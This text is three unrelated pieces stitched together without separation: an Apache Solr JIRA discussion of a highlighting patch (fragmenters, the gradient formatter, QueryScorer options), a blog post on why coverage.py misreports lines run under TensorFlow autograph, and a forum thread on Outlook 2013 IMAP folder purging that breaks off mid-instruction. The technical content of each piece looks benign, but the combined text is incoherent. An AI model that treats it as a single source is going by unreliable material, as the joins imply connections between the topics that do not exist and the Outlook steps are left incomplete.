All the highlighting code is now in HighlighingUtils rather than SolrPluginUtils. Seems like I've ended up with one big doHighlighting method that does all the work - not sure that's a good thing, but things ended up this way when I started creating highlighters per field.
ping test (4:24 EDT, 8/24/2006)
Thanks for the patch!
A few comments:
1) The patch uses absolute paths, which makes it difficult to apply. Please generate patches using 'svn diff > mypatch.diff' at the root level of a solr trunk checkout
2) I don't believe that it is necessary to add the constructors to GrapFragmenter--the existing constructors from SimpleFragmenter are equivalent.
3) The default FRAGSIZE should be 100 to conform to Lucene's Highlighter default (it would be nice if this was exposed so we could use it)
4) Might it be worth providing sensible defaults for the gradient values so users can try hl.formatter=gradient without futher configuration?
5) There are a few constuctions of this form:
+ String param = getParams(request).getFieldParam(fieldName, SNIPPETS);
+ //the default of zero should never be used, as SNIPPETS is defined in the defaults
+ return (param != null) ? Integer.parseInt(param) : 0;
where getParams returns a SolrParams instance which already has defaults for this parameter. Surely providing a default is unnecessary, and shouldn't null also be impossible due to the DefaultSolrParams construction? Inlining these (in the calling method) to something like
SolrParams p = getParams(request)
int maxSnippets = Integer.parseInt(p.getFieldParam(fieldName));
would be cleaner and save some object construction costs.
6) The last time this patch was discussed it was mentioned that there are tradeoffs in using field-specific idf values for highlighting scoring. One downside is that they must be read. Another is terms are only highlit in fields they are searched in, which may be desirable behaviour, but limits the usefulness of the hl.fl parameter. I'm not sure what the best approach is.
7) The attached patch contains no tests, and further, though I have not applied the patch due to 1), I'm skeptical that the testsuite passes since the parameter names weren't changed in src/test/o/a/s/HighlighterTest.java. The latter is easy enough to fix, but new test should be included before this patch is committed.
Thanks again for the patch!
Mike,
1) Was using SVN support in Eclipse and it doesn't let you control this - I've installed the command line version now.
2) If GapFragmenter just has a default constructor it's not possible to pass the fragsize (constructors not inherited)?
3) My mistake - I think this is a legacy of me originally confusing fragsize and GapFragmenter's increment threshold.
4) Perhaps - I wasn't sure what sensible defaults were, and I can't seem to get the gradient fragmenter to do anything useful - but I can't see an obvious bug in my code to construct it.
5) That was me being overly defensive, and I've changed it now. I considered adding methods like getFieldInt(), getFieldBool to SolrParams, so there were field versions of all the non-field methods - but decided against it.
6) I was wondering whether a hl.exact flag might be useful - if false (the default?) the QueryScorer wouldn't be created with the field/maxTermWeight. I'm not sure there's any point using the gradient formatter unless you supply the field name/maxTermWeight, so that might ignore this setting.
7) Sorry - will fix and add additional tests.
One thing I don't like about HighlightingUtils as it stands is the lack of state. When highlighting multiple fields, getParams() is called many times, each time constructing a DefaultSolrParams (although I don't think there's a big overhead to doing this). If we're not specifying the field when creating the QueryScorer then this could be reused for multiple fields. We could possibly re-use the highlighter instance as well.
Hi Andrew,
1) 3) 5) 7) thanks!
2) You're right--I'm head is sometimes too steeped in pythonland.
4) If no-one is using the gradient formatter, perhaps we shouldn't include it by default? There may be more intuitive ways of designing this feature if we have the benefit of a real world use case.
6) "exact" could mean many things in the context of highlighting. Perhaps something like
hl.scoring=simple (default)
hl.scoring=fieldidf (per-field idf weights)
New patch incorporating feedback (hopefully the diff is more usable this time).
- default fragsize now 100
- removed redundant defaults when getting fragsize and snippets
- fixed tests and added new tests
- added "Enable Highlighting" and "Fields to Highlight" to the advanced form in the admin pages
The other change, which is more complex is to add a new "hl.exact" parameter (which defaults to false) which affects how the QueryScorer is created. The logic is now this:
if using gradient formatter
new QueryScorer(query, indexReader, fieldName)
else if hl.exact=true
new QueryScorer(query, fieldName)
else
new QueryScorer(query)
My understanding is that the GradientFormatter requires the scorer to be created with IndexReader and field name to work properly, so using a gradient formatter for any field overrides the hl.exact flag.
I've assumed that it's more efficient to create a QueryScorer that doesn't use an IndexReader in the case of hl.exact=true. If not then that could be rolled in with the gradient formatter case.
Then the default behaviour is to create a QueryScorer without the field name and have less exact highlighting.
Does that sound like reasonable behaviour?
Ah - looks like I'm overlapping with a comment from Mike. I'm suggesting 'exact' because of how adding the fieldname to the QueryScorer affects searches across multiple fields - basically for what I'm using it for I don't want a value I searched for in the journal field appearing in the highlight for the title field (which was searched with something different) - so I would want hl.exact=true. But you're right - this is probably an overly broad term, and it is all about the scorer.
As for removing the gradient highlighter - I still don't really know how it's supposed to work, and I can't get it to do anything useful when searching my data, but perhaps that's my configuration error (rather than a coding error in this patch). I'll probably end up using the simple formatter with custom pre and post values.
JIRA ping test (11:54 EDT, 8/26/2006)
Does anyone else have comments on the two issues I raised, namely:
1) should we include support for gradient formatting? (My opinion is "no", since no-one uses it and Andrew can't get it to work with his data so we have no functionality tests)
2) the "exact" parameter. I'm uncomfortable about the name and the fact that setting a formatter (which feels to the user like a cosmetic setting) can influence core highlighting functionality.
Once these items are resolved and re-reviewed I am in favour of committing the patch.
I've spent a bit of time trying to understand Gradient formatting and how QueryScorer is used. As I didn't see any very good documentation for this (I may have missed it) - I thought I'd share.
It appears that GradientFormatter colours according to the term's weight within the index - so terms that appear less frequently in the index will be coloured closer to the max foreground/background colour. So, the colour is not related to the specific document or fragment being evaluated and that term will be highlighted the same for the entire results set. If two terms appear with a similar frequency in the index they will have similar colours - and this seems to happen a lot (perhaps because scaling is done between 0 and maxWeight rather than minWeight and maxWeight).
There's also a fairly serious bug in the colouring that makes a lot of combinations give meaningless results (e.g. minBg=#FF0000, maxBg=#00FF00 will give results coloured #FFFF00) - see GradientFormatter.getColorVal().
In other words, I now agree with Mike that we should not support Gradient formatting. Perhaps we still want to retain the hl.formatter= parameter in case we have any other values than "simple" in the future - and keep hl.simple.pre and hl.simple.post as they are.
As for the QueryScorer, I think it makes sense to support all three ways it can be construted:
1) hl.scoring=simple (the default) - construct with Query only. May have some matches from other terms, but allows you to highlight different fields to the ones searched.
2) hl.scoring=field - constructed with Query and fieldName. Only highlights terms matched in this field by the query.
3) hl.scoring=fieldidx - constructed with Query, fieldName and IndexReader. I think the selection of the best fragment(s) will be improved because the terms will be weighted according to their frequency in the index - but this has to be more costly as it calls IndexReader.docFreq for each term.
Does that sound reasonable?
New patch that removes support for gradient formatter, and uses hl.scoring parameter instead of hl.exact to control how the QueryScorer is created.
I guess I need to number my patch files as they don't seem to get listed in the order they were added and I can't remove old ones. The new patch appears to be number 3.
New patch.diff - removed hl.scoring=simple/field/fieldidx parameter and added hl.requireFieldMatch=true/false.
Also added two getFieldBool methods to SolrParams - so that field parameters can use the same parseBool method (which also evaluates yes/on to true).
Commited r439428
Changes to CommonParams, SolrPluginUtils, plus new HighlightingUtils | https://issues.apache.org/jira/browse/SOLR-37 | CC-MAIN-2016-36 | refinedweb | 2,228 | 54.83 |
File Handling in Python
In this tutorial, you'll learn file handling in Python, file operations such as opening a file, reading from it, writing into it, closing it, renaming a file, deleting a file, and various file methods.
To store data temporarily and permanently, we use files. A file is the collection of data stored on a disk in one unit identified by filename.
File Handling Series
This Python file handling series contains the following in-depth tutorial. You can directly read those.
- Create File in Python: You'll learn to create a file in the current directory or a specified directory. Also, create a file with a date and time as its name. Finally, create a file with permissions.
- Open a File in Python: You'll learn to open a file using both relative and absolute paths. Different file access modes for opening a file read and write mode.
- Read File in Python: You'll learn to read both text and binary files using Python. The different modes for reading the file. All methods for reading a text file such as
read(),
readline(), and
readlines()
- Write to File Python: You'll learn to write/append content into text and binary files using Python. All methods for writing a text to file, such as
write(),
writelines().
- File Seek(): Move File Pointer Position: You'll learn to use the
seek()function to move the position of a file pointer while reading or writing a file.
- Rename Files in Python: You'll learn to rename a single file or multiple files. Renaming files that match a pattern. Rename all the files in a folder.
- Delete Files and Directories in Python: You'll learn to delete files using the os module and pathlib module. Remove files that match a pattern (wildcard). Delete a directory and all files from it
- Copy Files and Directories in Python: You'll learn to use the os, shutil, and subprocess modules to copy files and folders from one location to another.
- Move Files Or Directories in Python: You'll learn to move single and multiple files. Also, move files that match a pattern (wildcard) or move an entire directory
Types of File
- Text File: Text file usually we use to store character data. For example, test.txt
- Binary File: The binary files are used to store binary data such as images, video files, audio files, etc.
File Path
A file path defines the location of a file or folder in the computer system. There are two ways to specify a file path.
- Absolute path: which always begins with the root folder
- Relative path: which is relative to the program's current working directory
The absolute path includes the complete directory list required to locate the file.
For example,
/user/Pynative/data/sales.txt is an absolute path to discover the sales.txt. All of the information needed to find the file is contained in the path string.
After the filename, the part with a period(.) is called the file's extension, and that tells us the type of file. Here, project.pdf is a pdf document.
Read File
To read or write a file, we need to open that file. For this purpose, Python provides a built-in function
open().
Pass file path and access mode to the
open(file_path, access_mode) function. It returns the file object. This object is used to read or write the file according to the access mode.
Accesss mode represents the purpose of opening the file. For example, R is for reading and W is for writing
In this article, we will use the test.txt file for manipulating all file operations. Create a text.txt on your machine and write the below content in it to get started with file handling.
Welcome to PYnative.com This is a sample.txt Line 3 Line 4 Line 5
Example:
# Line 3 Line 4 Line 5
Read More:
- Create File in Python:
- Open a File in Python
- Read File in Python
- Read Specific Lines From a File in Python
Note:
When we open a file, the operating system gives a handle to read and write a file. Once we have done using the file, it is highly recommended to close it. Because a closed file reduces the risk of being unwarrantedly modified, it will also free up the resources tied with the file.
File Access Modes
The following table shows different access modes we can use while opening a file in Python.
Writing to a File
To write content into a file, Use the access mode
w to open a file in a write mode.
Note:
- If a file already exists, it truncates the existing content and places the filehandle at the beginning of the file. A new file is created if the mentioned file doesn’t exist.
- If you want to add content at the end of the file, use the access mode
ato open a file in append mode
Example
text = "This is new content" # writing new content to the file fp = open("write_demo.txt", 'w') fp.write(text) print('Done Writing') fp.close()
Read More:
Move File Pointer
The seek() method is used to change or move the file's handle position to the specified location. The cursor defines where the data has to be read or written in the file.
The position (index) of the first character in files is zero, just like the string index.
Example
f = open("sample.txt", "r") # move to 11 character f.seek(11) # read from 11th character print(f.read())
Output:
PYnative.com This is a sample.txt Line 3 Line 4 Line 5
The
tell() method to return the current position of the file pointer from the beginning of the file.
tell() Example
f = open("sample.txt", "r") # read first line f.readline() # get current position of file handle print(f.tell()) # Output 25
Read More: Complete Guide on File Seek(): Move File Pointer Position
Python File Methods
Python has various method available that we can use with the file object. The following table shows file method.
Copy Files
There are several ways to cop files in Python. The
shutil.copy() method is used to copy the source file's content to the destination file.
Example
import shutil src_path = r"E:\demos\files\report\profit.txt" dst_path = r"E:\demos\files\account\profit.txt" shutil.copy(src_path, dst_path) print('Copied')
Read More:
Rename Files
In Python, the os module provides the functions for file processing operations such as renaming, deleting the file, etc. The os module enables interaction with the operating system.
The os module provides
rename() method to rename the specified file name to the new name. The syntax of
rename() method is shown below.
Example
import os # Absolute path of a file old_name = r"E:\demos\files\reports\details.txt" new_name = r"E:\demos\files\reports\new_details.txt" # Renaming the file os.rename(old_name, new_name)
Read More:
Delete Files
In Python, the os module provides the
remove() function to remove or delete file path.
import os # remove file with absolute path os.remove(r"E:\demos\files\sales_2.txt")
Read More:
Working With Bytes
A byte consists of 8 bits, and bits consist of either 0 or 1. A Byte can be interpreted in different ways like binary octal, octal, or hexadecimal. Python stores files in the form of bytes on the disk.
When we open a file in text mode, that file is decoded from bytes to a string object. when we open a file in the binary mode it returns contents as bytes object without decoding.
Now let's see the steps to write bytes to a file in Python.
- Open the file in binary write mode using
wb
- Specify contents to write in the form of bytes.
- Use the
write()function to write byte contents to a binary file.
Example
bytes_data = b'\x21' with open("test.txt", "wb") as fp: # Write bytes to file fp.write(bytes_data)
Exercise:
Python Count Number of Lines in a File | https://pynative.com/python/file-handling/ | CC-MAIN-2021-39 | refinedweb | 1,338 | 75 |
The Hardest Easiest Problem in Topcoder history
With frequent SRMs on a year-round basis at Topcoder, the number of problems on the platform is constantly growing.
Consequently, some outliers are bound to arise. Some “unexpected” questions that catch many off guard, and furrow the eyebrows of many contestants. Questions whose solutions, need to be thought through thoroughly before diving into.
This week, we’re going to analyze the “hardest easiest problem” in Topcoder SRM history.
That would be “Segments”. “Segments” appeared in Single Round Match 303 Round 1 – Division II, and was the Level One Problem Statement.
The problem statement went in the following manner –
Given 2 line segments either parallel to the X-axis or Y-axis, output “NO” if the line segments do not intersect, output “POINT” if the line segments intersect at a point, and output “SEGMENT” if their intersection forms a line segment.
Now, the question is straightforward, and the input consisted of the start and end co-ordinates of the two line segments. 460 competitors viewed this problem statement of the 472 contestants during the SRM.
But 51.6% of contestants attempted submitting a solution, and the contest closed with this problem having a record-setting overall accuracy of just 9.32%.
Now, let’s analyze the top submissions.
dubna had the best score, solving the question in a little over 6 minutes in Java.
dubna’s solution, was an elegant ad-hoc approach, which unlike most of the contestants who failed system tests, didn’t have to resort to a plethora of corner cases.
dubna’s code is as follows –
[text]
public class Segments
{
public String intersection (int[] s1, int[] s2)
{
s1 = norm (s1);
s2 = norm (s2);
int x1 = Math.max (s1 [0], s2 [0]);
int y1 = Math.max (s1 [1], s2 [1]);
int x2 = Math.min (s1 [2], s2 [2]);
int y2 = Math.min (s1 [3], s2 [3]);
if (x1 == x2 && y1 == y2)
return "POINT";
if (x1 <= x2 && y1 <= y2)
return "SEGMENT";
return "NO";
}
public int [] norm (int [] x)
{
return new int [] {Math.min (x [0], x [2]), Math.min (x [1], x [3]), Math.max (x [0], x [2]), Math.max (x [1], x [3])};
}
}
[/text]
So how does this work?
Let’s break it down.
The norm() function, takes as input the data of a line segment and normalizes them to the form ( {lower X coordinate, lower Y coordinate}, {higher X coordinate, higher Y coordinate} )
The rest of the implementation is easy to follow, but let’s understand the reason this simple approach works.
Consider a similar, albeit different problem statement.
Given two horizontal lines, identify if they intersect at all, or in a point, or in a segment.
The approach to this new problem is simple –
As both are horizontal, we need not bother about the Y-coordinate.
The trick here lies in handling the X-coordinates. Let my two line segments ‘A’ and ‘B’ have starting and ending coordinates (A1, A2) and (B1, B2) [where I normalize my line segments such that A1<=A2 and B1<=B2 and A1<=B1]
Now, I have 3 cases –
CASE 1: ‘A’ does not overlap at all with ‘B’, identified by the boolean expression –
(A2<B1) return “no intersection”;
Photo for below
(Red: ‘A’ | Blue: ‘B’)
CASE 2: ‘A’ touches ‘B’, and their intersection is a point –
(A2 == B1) return “point”;
CASE 3: ‘A’ overlaps partly or wholly with ‘B’ and their intersection forms a segment –
(A2>B1) return “segment”;
Yellow represents overlapping region
And that’s exactly what’s been done here. dubna has abstracted this one dimensional approach into a two-dimensional one, and retained the simplicity of the initial approach.
This approach was also adopted by the highest scorer in C++, yaoxu315 who solved this in a little over 8 minutes.
The implementation of the high scorer in C#, kylo was also clever.
[text]
using System;
using System.Collections;
using System.Collections.Generic;
public class Segments
{
public string intersection(int[] s1, int[] s2)
{
byte[,] b = new byte[2010, 2010];
for(int i = Math.Min(s1[0], s1[2]); i <= Math.Max(s1[0], s1[2]); i++)
for(int j = Math.Min(s1[1], s1[3]); j <= Math.Max(s1[1], s1[3]); j++)
{
b[i + 1000, j + 1000]++;
}
for (int i = Math.Min(s2[0], s2[2]); i <= Math.Max(s2[0], s2[2]); i++)
for (int j = Math.Min(s2[1], s2[3]); j <= Math.Max(s2[1], s2[3]); j++)
{
b[i + 1000, j + 1000]++;
}
int[] x = new int[3];
for (int i = 0; i < 2010; i++)
for (int j = 0; j < 2010; j++)
x[b[i, j]]++;
if (x[2] > 1)
return "SEGMENT";
if (x[2] == 1)
return "POINT";
return "NO";
}
}
[/text]
kylo’s solution, exploited the constraints of the problem statement cleverly and generated a grid to, quite literally, “draw” the entire input lines.
By using a positive offset of 1000 to handle negative coordinates, he marked all the points that the first line falls over, in the 2D array b as 1.
Then, iterating over all the points the second line falls over, he incremented the corresponding indices (coordinates) by 1.
Then he checked for the number of elements in the 2D array, whose value equals 2. If such elements occurred exactly once, the two lines intersected over a single point, while if the number of such elements occurred more than once, the lines intersected over a range of points and thus the answer would be “SEGMENT”. Else, the lines didn’t intersect at all.
Both the approaches were very clever, for this tricky problem. The second approach of generating the grid works well in general too for many geometry questions, however its application rests entirely on the size of the input constraints for it requires O(N^2) memory and perhaps even that much time to iterate over, depending on its purpose.
The first approach, although quite clever, may not seem as intuitive to many, but when abstracted from one-dimension to the next, scales up easily. A fun exercise is to now consider, if this two dimensional approach can be scaled up to a three dimensional one.
| https://www.topcoder.com/blog/hardest-easiest-problem-topcoder-history/ | CC-MAIN-2019-09 | refinedweb | 1,025 | 61.87 |
Projecting points using a parametric model
In this tutorial we will learn how to project points onto a parametric model (e.g., plane, sphere, etc). The parametric model is given through a set of coefficients – in the case of a plane, through its equation: ax + by + cz + d = 0.
The code
First, create a file, let’s say,
project_inliers.cpp in your favorite
editor, and place the following inside it:
The explanation
Now, let’s break down the code piece by piece.
We first import the ModelCoefficients structure then the ProjectInliers filter.
#include <pcl/ModelCoefficients.h> #include <pcl/filters/project_inliers.h>
We then create the point cloud structure, fill in the respective values, and display the content on screen.); } std::cerr << "Cloud before projection: " << std::endl; for (size_t i = 0; i < cloud->points.size (); ++i) std::cerr << " " << cloud->points[i].x << " " << cloud->points[i].y << " " << cloud->points[i].z << std::endl;
We fill in the ModelCoefficients values. In this case, we use a plane model, with ax+by+cz+d=0, where a=b=d=0, and c=1, or said differently, the X-Y plane.
pcl::ModelCoefficients::Ptr coefficients (new pcl::ModelCoefficients ()); coefficients->values.resize (4); coefficients->values[0] = coefficients->values[1] = 0; coefficients->values[2] = 1.0; coefficients->values[3] = 0;
We create the ProjectInliers object and use the ModelCoefficients defined above as the model to project onto.
pcl::ProjectInliers<pcl::PointXYZ> proj; proj.setModelType (pcl::SACMODEL_PLANE); proj.setInputCloud (cloud); proj.setModelCoefficients (coefficients); proj.filter (*cloud_projected);
Finally we show the content of the projected cloud.
std::cerr << "Cloud after projection: " << std::endl; for (size_t i = 0; i < cloud_projected->points.size (); ++i) std::cerr << " " << cloud_projected->points[i].x << " " << cloud_projected->points[i].y << " " << cloud_projected->points[i].z << std::endl;
Compiling and running the program
Add the following lines to your CMakeLists.txt file:
After you have made the executable, you can run it. Simply do:
$ ./project_inliers
You will see something similar to:
Cloud before projection: Cloud after projection: 0.352222 -0.151883 0 -0.397406 -0.473106 0 -0.731898 0.667105 0 -0.734766 0.854581 0 -0.4607 -0.277468 0
A graphical display of the projection process is shown below.
Note that the coordinate axis are represented as red (x), green (y), and blue (z). The five points are represented with red as the points before projection and green as the points after projection. Note that their z now lies on the X-Y plane. | http://pointclouds.org/documentation/tutorials/project_inliers.php | CC-MAIN-2018-17 | refinedweb | 408 | 52.97 |
Card IO
This plug-in exposes card.io credit card scanning.
NOTE: If you would like to actually process a credit card charge, you might be interested in the PayPal Cordova Plug-in.
Requires Cordova plugin:
card.io.cordova.mobilesdk. For more info, please see the
Card IO plugin docs.
Note: For use with iOS 10 + When building your app with the iOS 10 SDK +, you have to add some info to the info.plist file. This is due to increased security in iOS 10. Go to your app directory and search for the
<key>NSCameraUsageDescription</key> <string>To scan credit cards.</string>
import { CardIO } from '@ionic-native/card-io/ngx'; constructor(private cardIO: CardIO) { } ... this.cardIO.canScan() .then( (res: boolean) => { if(res){ let options = { requireExpiry: true, requireCVV: false, requirePostalCode: false }; this.cardIO.scan(options); } } ); | https://ionicframework.com/docs/native/card-io | CC-MAIN-2020-10 | refinedweb | 135 | 51.55 |
5 AnswersNew Answer
def remove_smallest(numbers): c = min(numbers) numbers.remove(c) return numbers
8/23/2020 4:17:14 PMAleksandra Lewandowska
5 AnswersNew Answer
If numbers is a list, then you should not mutate (change) it, because that might mess with the test validation. Make a copy or use a list comprehension.
Aleksandra Lewandowska To get any Output, you have to call the Function by passing the argument
What wrong you getting there? Post full code..
Jayakrishna🇮🇳 ♤♢☞ 𝐊𝐢𝐢𝐛𝐨 𝐆𝐡𝐚𝐲𝐚𝐥 ☜♢♤ It’s a kata from codewars. It’s supposted to remove the smallest number from the list, but it produces an error and I don’t know why
What is the error you not mentioned? Aleksandra Lewandowska If this is full code, then you are defined function. But not calling that function to work.. So it should be like def remove_smallest(numbers): c = min(numbers) numbers.remove(c) return numbers l = [1,2,3,4,5] #an example, you take here input. print( remove_smallest(l)) #calling function, displays return list #Output : [2,3,4,5]
Sololearn Inc.535 Mission Street, Suite 1591 | https://www.sololearn.com/Discuss/2460392/why-doesn-t-it-work | CC-MAIN-2022-21 | refinedweb | 182 | 67.55 |
15 June 2012 10:38 [Source: ICIS news]
LONDON (ICIS)--Turkish buyers are being offered attractively-priced polyethylene (PE) and polypropylene (PP) from Europe, often lower than Middle Eastern material, an unusual situation that players think will lead to a further drop in prices in the short term, several sources said on Friday.
Poor European demand, increasing stock levels and a favourable exchange rate have given sellers new opportunities to export.
“We are able to export at the moment in a way that has not been possible for a long time,” said one major PE producer.
Inventories of most PE grades are rising in Europe as cracker margins remain good and talk of cutbacks to curb a build-up of stocks are not yet thought to have been put into action.
“We have been talking about cutting back,” said another major producer, “but for the moment nothing has been decided. We will review things next week.”
From southern Europe, low density polyethylene (LDPE) is heard offered at levels barely above €1,000/tonne ($1,266/tonne) CFR (cost and freight) Turkey and North Africa.
“I can get low density for €1,000-1,020/tonne CFR Turkey if I pay cash,” said a trader. This was seen as low even by current standards, as LDPE was still considered to be workable at $1,300/tonne CFR."
Polypropylene (PP) has also been offered lower from Europe this week.
“Last week I could sell PP at $1,350/tonne CFR. This week buyers are telling me they are being offered $1,250/tonne CFR from Europe,” said another. However, such a level could not be confirmed by any western European so far.
Material from Europe has an advantage over that from the Middle East as no duty is applied. Middle Eastern PE and PP is subject to a 3% import duty, so it needs to be priced lower than European product to be competitive.
Local producer, Petkim, also dropped its prices again earlier this week in a move to inject some buying interest into the market.
High stocks and lacklustre demand in Europe mean that some European producers aim to increase export volumes throughout July and August.
“I intend to increase my export volumes over the next few weeks,” said another producer.
European PE and PP prices are widely expected to fall again in July as lower naphtha prices will affect monomer and polymer pricing next month. Polymer production remains high at present as cracker margins are good, and cutbacks can only be expected once margins worsen.
In April, the average price for naphtha was above $1,000/tonne CIF (cost, insurance and freight) NWE (northwest ?xml:namespace>
In November and December 2011, when PE and PP net prices reached lows of just above €1,000/tonne FD (free delivered) NWE, naphtha was in the mid-$800s/tonne CIF NWE. Spot PE and PP prices in Europe are hard to determine as such a wide range is being discussed, but similar levels as seen in 2011 have been heard.
The dollar/euro exchange rate on Friday morning was €1 = $1.26, | http://www.icis.com/Articles/2012/06/15/9569804/Turkish-buyers-offered-attractive-PEPP-deals-from-Europe.html | CC-MAIN-2015-06 | refinedweb | 519 | 59.13 |
It started with a coverage.py issue: Coverage not working for TensorFlow Model call function. A line in the code is executing, but coverage.py marks it as unexecuted. How could that be?
TensorFlow was completely new to me. I knew it had some unusual execution semantics, but I didn’t know what it involved. What could it be doing that would interfere with coverage measurement? Once I had instructions to reproduce the issue, I could see that it was true: a line that clearly printed output during the test run was marked as unexecuted.
The code in question was in a file called routenet_model.py. It had a line like this:
print('******** in call ******************')
It was the only such line in the code, and sure enough, the test output showed that “**** in call ****” text, so the line was definitely running.
The first step was to see who was calling the product code. It seemed like something about a caller was getting in the way, since other code in that file was marked as executed. I added this to get a stack trace at that point:
import inspect
print("\n".join("%30s : %s:%d" % (t[3],t[1],t[2]) for t in inspect.stack()[::-1]))
print('******** in call ******************')
When I re-ran the test, I saw a long stack trace that ended like this (I’ve abbreviated some of the file paths):
... ...
compute : site-packages/tensorflow/python/ops/map_fn.py:257
<lambda> : /private/tmp/bug856/demo-routenet/tests/utils/test_utils.py:31
_/tmps9vwjn47.py:10
converted_call : site-packages/tensorflow/python/autograph/impl/api.py:349
_call_unconverted : site-packages/tensorflow/python/autograph/impl/api.py:258
******** in call ******************
This stack shows the function name, the file path, and the line number in a compact way. It’s a useful enough debugging helper that I have it as a vim abbreviation.
Hmm, interesting: there’s a temporary Python file (tmps9vwjn47.py) in the call stack. That’s definitely unusual. The file is gone by the time the tests are done, so to get the contents, I grab the filename from the stack trace, and copy the contents elsewhere:
import inspect
print("\n".join("%30s : %s:%d" % (t[3],t[1],t[2]) for t in inspect.stack()[::-1]))
with open("/tmp/bug856/weird.py", "w") as fout:
with open(inspect.stack()[2].filename) as fin:
fout.write(fin.read())
print('******** in call ******************')
I named the copied file “weird.py” because a temporary Python file is weird any time, but this is where it gets really weird: weird.py is a 528-line Python file, but it doesn’t have the function indicated in the stack trace: there’s nothing named tf__call in it. The stack trace also indicates that line 10 is running, but line 10 is a comment: """Control flow statements: loops, conditionals, etc."""
16
17 from __future__ import absolute_import
18 from __future__ import division
19 from __future__ import print_function
20
21 ... etc ...
Something is truly weird here. To add to the confusion, I can print the entire FrameInfo from the stack trace, with:
print(repr(inspect.stack()[2]))
and it shows:
FrameInfo(
frame=<frame at 0x7ff1f0e05080, file '/var/folders/j2/gr3cj3jn63s5q8g3bjvw57hm0000gp/T/tmp1ii_1_na.py', line 14, code tf__call>,
filename='/var/folders/j2/gr3cj3jn63s5q8g3bjvw57hm0000gp/T/tmp1ii_1_na.py',
lineno=14,
function='tf__call',
code_context=[" print(ag__.converted_call(repr, None, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (ag__.converted_call('stack', inspect, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (), None)[2],), None))\n"],
index=0
)
The code_context attribute there shows a plausible line of code, but it doesn’t correspond to the code in the file at all. This is a twist on a long-standing gotcha with Python stack traces. When Python code is running, it has filenames and line numbers in the frames on the call stack, but it doesn’t keep the source of the code it runs. To populate a stack trace with lines of code, it reads the file on disk. The classic problem with this is that the file on disk may have changed since the code started running. So the lines of source in the stack trace might be wrong because they are newer than the actual code that is running.
But that’s not what we’re seeing here. Now the line of code in the stack trace doesn’t match the file on disk at all. It seems to correspond to what is running, but not what is on disk. The reason is that Python uses a module called linecache to read the line of source. As the name implies, linecache caches file contents, so that reading many different lines from a file won’t try to open the same file many times.
What must have happened here is that the file had one program in it, and then was read (and cached) by linecache for some reason. That first program is what is running. Then the file was re-written with a second program. Linecache checks the modification time to invalidate the cache, but if the file was rewritten quickly enough to not have a different modification time, then the stale cache would be used. This is why the stack trace has the correct line of code, even though the file on disk doesn’t.
A quick look in the __pycache__ directory in the tmp directory shows a .pyc file, and if I dump it with show_pyc.py, I can see that it has the code I’m interested in. But rather than try to read disassembled bytecode, I can get the source from the stale copy in linecache!
import inspect
print("\n".join("%30s : %s:%d" % (t[3],t[1],t[2]) for t in inspect.stack()[::-1]))
with open("/tmp/bug856/better.py", "w") as fout:
import linecache
fout.write("".join(linecache.getlines(inspect.stack()[2].filename)))
print('******** in call ******************')
When I run this, I get a file better.py that makes clear why coverage.py claimed the original line wasn’t executed. Here’s the start of better.py:
1 def create_converted_entity_factory():
2
3 def create_converted_entity(ag__, ag_source_map__, ag_module__):
4
5 def tf__call(self, inputs, training=None):
6 do_return = False
7 retval_ = ag__.UndefinedReturnValue()
8 import inspect, sys
9 print(ag__.converted_call('join', '\n', ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (('%30s : %s:%d' % (t[3], t[1], t[2]) for t in ag__.converted_call('getouterframes', inspect, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (ag__.converted_call('_getframe', sys, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (), None),), None)[::-1]),), None))
10 with open('/tmp/bug856/better.py', 'w') as fout:
11 import linecache
12 ag__.converted_call('write', fout, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (ag__.converted_call('join', '', ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (ag__.converted_call('getlines', linecache, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (ag__.converted_call('stack', inspect, ag__.ConversionOptions(recursive=True, force_conversion=False, optional_features=(), internal_convert_user_code=True), (), None)[2].filename,), None),), None),), None)
13 print('******** in call ******************')
14
15 ... lines omitted ...
16
17 return tf__call
18 return create_converted_entity
This is the code from our original routenet_model.py (including all the debugging code that I put in there), translated into some kind of annotated form. The reason coverage.py said the product code wasn’t run is because it wasn’t run! A copy of the code was run.
Now I realize something about inspect.stack(): the first frame it shows is your caller. If I had used a stack trace that showed the current frame first, it would have shown that my debugging code was not in the file I thought it was.
It turns out that inspect.stack() is a one-line helper using other things:
def stack(context=1):
"""Return a list of records for the stack above the caller's frame."""
return getouterframes(sys._getframe(1), context)
Changing my stack trace one-liner to use getoutframes(sys._getframe()) is better, but is still confusing in this case because TensorFlow rewrites function calls, including sys._getframe, so the resulting stack trace ends with:
_/tmpcwhc1y2a.py:10
converted_call : site-packages/tensorflow/python/autograph/impl/api.py:321
Even now, I can’t quite wrap my head around why it comes out that way.
The next step is to decide what to do about this. The converted code has a parameter called ag_source_map__, which is a map from converted code back to source code. This could be used to get the coverage right, perhaps in a plugin, but I need to hear from TensorFlow people to see what would be the best approach. I’ve written a TensorFlow issue to start the conversation.
Add a comment: | https://nedbatchelder.com/blog/201910/debugging_tensorflow_coverage.html | CC-MAIN-2019-47 | refinedweb | 1,454 | 60.11 |
Asked by:
Outlook 2013 IMAP - Server folders not syncing
Question
hello.
On my PC, outlook 2013 is running IMAP with my company email account. I also run IMAP off my phone. Here's the problem:
Phone IMAP to server = syncs normally
outlook to server = does not sync normally
What happens is that deleted items from my outlook inbox don't sync up to the server, so my webmail and out phone have a ton of deleted emails in them.
However, all email is syncing down from server to outlook correctly.
I checked all of the options, expunge immedeiately, etc, but i can't seem to get outook's inbox to match the server.
All replies
Hi,
Follow the steps below to check the result:
1. Open Outlook 2013, click a folder in your IMAP e-mail account.
2. Go to Folder tab in toolbar, click Purge.
3. Click Purge Options.
4. On the Advanced tab, select the Purge items when switching folders while online check box.
5. Then click Purge followed by ‘Purge Marked items in [e-mail address]’.
However, when purging your deleted items in Outlook, the default behavior of the IMAP account is to archive it to the “All Mail” folder. This behavior can be changed.
Follow the steps below, Gmail for example:
1.In Gmail on the web, open your Settings dialog and select Forwarding and POP/IMAP or use this direct link.
